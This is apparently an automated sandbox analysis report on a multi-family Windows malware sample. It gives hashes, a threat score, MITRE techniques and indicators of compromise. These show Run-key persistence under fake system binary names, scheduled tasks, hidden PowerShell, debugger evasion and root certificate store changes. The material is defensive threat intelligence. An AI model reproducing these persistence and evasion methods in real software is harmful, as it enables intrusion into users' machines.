68799c8e9301c682545476e8f6f1be3f84e1492281e4241eaec47ce59ab8496a

Analysis

max time kernel
40s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 23:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Size 46.8MB
Sample261110-3brvyacc83
SHA256 68799c8e9301c682545476e8f6f1be3f84e1492281e4241eaec47ce59ab8496a
MD5 307ca42b8912570886b62e6a161d6ba6
SHA1 4405e493698aeb363d81aa51a427ff6a7a8aa0d3
SHA512 862621ce0059a2c4bc50c5b55fbe8c448e8f37ddc8d4efc1d4876a5d438ecca2ee36fee1f2415ce60eb12bafc83b4bfb186cdb21e3ab612d6b6705bc6a1bf863
SSDEEP 786432:2LoJietjb/5L7w5Xz4wTzxaufdV/Wg/DEXvShSUObItNQwYZ:/iGY5RTz3vHYzUF
TLSH
T147B7BE03E86541E9D4AAD535C6369233BB707C895B2463C72B60F7282F77BD0AE7A740
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence spyware trojan

Malware Config

Signatures

Custom signature

Detects Windows executables referencing non-Windows User-Agents 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c4cc-17.dat	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Custom signature

Detects executables using Telegram Chat Bot 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c4cc-17.dat	INDICATOR_SUSPICIOUS_EXE_TelegramChatBot

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2060	powershell.exe
1908	powershell.exe
4992	powershell.exe
2408	powershell.exe
3640	powershell.exe
3676	powershell.exe
4948	powershell.exe
2892	powershell.exe
4208	powershell.exe
6124	powershell.exe
1120	powershell.exe
4788	powershell.exe
256	powershell.exe
452	powershell.exe
5176	powershell.exe
2656	powershell.exe
2728	powershell.exe
5764	powershell.exe
5480	powershell.exe
3216	powershell.exe
3016	powershell.exe
6012	powershell.exe
3880	powershell.exe
5460	powershell.exe
4144	powershell.exe
4804	powershell.exe
4492	powershell.exe
5008	powershell.exe
3932	powershell.exe
4920	powershell.exe
4784	powershell.exe
4288	powershell.exe
1356	powershell.exe
2540	powershell.exe
2540	powershell.exe
5196	powershell.exe
1060	powershell.exe
4724	powershell.exe
5408	powershell.exe
2560	powershell.exe
2012	powershell.exe
3000	powershell.exe
2316	powershell.exe
2020	powershell.exe
4620	powershell.exe
5456	powershell.exe
4800	powershell.exe
2032	powershell.exe
1120	powershell.exe
6020	powershell.exe
4376	powershell.exe
1780	powershell.exe
2936	powershell.exe
4724	powershell.exe
4168	powershell.exe
1284	powershell.exe
5328	powershell.exe
4208	powershell.exe
5584	powershell.exe
2704	powershell.exe
752	powershell.exe
5740	powershell.exe
4724	powershell.exe
2032	powershell.exe

Executes a file named after a Windows system binary 1 TTPs 10 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe	dllhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	dllhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	dllhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe	dllhost.exe

Executes dropped EXE 17 IoCs

pid	Process
3692	FontCacheService.exe
4548	FontCacheService.exe
744	FontCacheService.exe
2288	dllhost.exe
2744	dllhost.exe
2448	RuntimeBroker.exe
1544	dllhost.exe
5520	dllhost.exe
4800	dllhost.exe
2160	RuntimeBroker.exe
3160	RuntimeBroker.exe
2244	dllhost.exe
5164	dllhost.exe
5944	RuntimeBroker.exe
2388	dllhost.exe
2160	dllhost.exe
3092	dllhost.exe

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\FontCacheDataService = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\FontCache\\Data\\FontCacheService.exe"	FontCacheService.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\dllhost.exe\" --backup-listen"	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\RuntimeBroker.exe\" --backup-guard"	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\dllhost.exe\" --backup-listen"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\RuntimeBroker.exe\" --backup-guard"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\dllhost.exe\" --backup-listen"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\RuntimeBroker.exe\" --backup-guard"	dllhost.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 15 IoCs

defense_evasion

Debugger Evasion

T1622

pid	Process
3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
2288	dllhost.exe
2448	RuntimeBroker.exe
3160	RuntimeBroker.exe
5520	dllhost.exe
4800	dllhost.exe
2744	dllhost.exe
2160	RuntimeBroker.exe
1544	dllhost.exe
2244	dllhost.exe
5164	dllhost.exe
5944	RuntimeBroker.exe
2388	dllhost.exe
2160	dllhost.exe
3092	dllhost.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedgewebview2.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedgewebview2.exe

Kills process with taskkill 18 IoCs

defense_evasion

pid	Process
4460	taskkill.exe
3820	taskkill.exe
5904	taskkill.exe
3356	taskkill.exe
5608	taskkill.exe
5520	taskkill.exe
5176	taskkill.exe
4472	taskkill.exe
2128	taskkill.exe
4076	taskkill.exe
980	taskkill.exe
1452	taskkill.exe
2948	taskkill.exe
2372	taskkill.exe
4364	taskkill.exe
3600	taskkill.exe
5252	taskkill.exe
5856	taskkill.exe

Modifies system certificate store 2 TTPs 4 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B\Blob = 6b000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda0f00000001000000200000003560e45b41e46b8f36537025d1d5bc02d9652a10645b0eff69e8b6a52191f335090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000005200000047006f00200044006100640064007900200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020001320200047003200000053000000010000002500000030233021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c062000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda7f0000000100000016000000301406082b0601050507030306082b060105050703041400000001000000140000003a9a8507106728b6eff6bd05416e20c194da0fde1d000000010000001000000070253fbcbde32a014d38c1993098ad997e00000001000000080000000080826f22e7dc0103000000010000001400000047beabc922eae80e78783462a79f45c254fde68b19000000010000001000000021d008b47b7a2a81c8435903ded424c92000000001000000c9030000308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c52043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5	dllhost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B\Blob = 5c00000001000000040000000008000019000000010000001000000021d008b47b7a2a81c8435903ded424c903000000010000001400000047beabc922eae80e78783462a79f45c254fde68b7e00000001000000080000000080826f22e7dc011d000000010000001000000070253fbcbde32a014d38c1993098ad991400000001000000140000003a9a8507106728b6eff6bd05416e20c194da0fde7f0000000100000016000000301406082b0601050507030306082b0601050507030462000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda53000000010000002500000030233021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900200013202000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000003560e45b41e46b8f36537025d1d5bc02d9652a10645b0eff69e8b6a52191f3356b000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda2000000001000000c9030000308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c52043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B	dllhost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2316	schtasks.exe
6004	schtasks.exe
3156	schtasks.exe
2648	schtasks.exe
2648	schtasks.exe
3776	schtasks.exe
2988	schtasks.exe
5060	schtasks.exe
4260	schtasks.exe
6112	schtasks.exe
2020	schtasks.exe
4184	schtasks.exe
5408	schtasks.exe
4948	schtasks.exe
1032	schtasks.exe
4172	schtasks.exe
3740	schtasks.exe
5736	schtasks.exe
3176	schtasks.exe
4416	schtasks.exe
472	schtasks.exe
6120	schtasks.exe
4348	schtasks.exe
5460	schtasks.exe
6112	schtasks.exe
5472	schtasks.exe
5164	schtasks.exe
1584	schtasks.exe
2620	schtasks.exe
3272	schtasks.exe
3816	schtasks.exe
1980	schtasks.exe
5296	schtasks.exe
5216	schtasks.exe
5244	schtasks.exe
6056	schtasks.exe
3800	schtasks.exe
4948	schtasks.exe
3108	schtasks.exe
5988	schtasks.exe
6140	schtasks.exe
4348	schtasks.exe
4348	schtasks.exe
1736	schtasks.exe
2988	schtasks.exe
2032	schtasks.exe
3064	schtasks.exe
4388	schtasks.exe
3492	schtasks.exe
2420	schtasks.exe
3556	schtasks.exe
5608	schtasks.exe
472	schtasks.exe
5408	schtasks.exe
6108	schtasks.exe
704	schtasks.exe
6096	schtasks.exe
1300	schtasks.exe
2648	schtasks.exe
1544	schtasks.exe
3652	schtasks.exe
896	schtasks.exe
3000	schtasks.exe
3640	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
3892	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
3116	msedgewebview2.exe
3116	msedgewebview2.exe
3116	msedgewebview2.exe
3116	msedgewebview2.exe
5328	powershell.exe
5328	powershell.exe
5328	powershell.exe
3000	powershell.exe
3000	powershell.exe
2448	RuntimeBroker.exe
2448	RuntimeBroker.exe
3000	powershell.exe
1356	powershell.exe
1356	powershell.exe
1356	powershell.exe
4788	powershell.exe
4788	powershell.exe
4788	powershell.exe
5764	powershell.exe
5764	powershell.exe
5764	powershell.exe
4208	powershell.exe
4208	powershell.exe
4208	powershell.exe
4800	powershell.exe
4800	powershell.exe
4800	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe
3116	msedgewebview2.exe
3116	msedgewebview2.exe
3116	msedgewebview2.exe
3116	msedgewebview2.exe
5480	powershell.exe
5480	powershell.exe
5480	powershell.exe
1120	powershell.exe
1120	powershell.exe
1120	powershell.exe
3216	powershell.exe
3216	powershell.exe
3216	powershell.exe
256	powershell.exe
256	powershell.exe
256	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
4144	powershell.exe
4144	powershell.exe
4144	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
452	powershell.exe

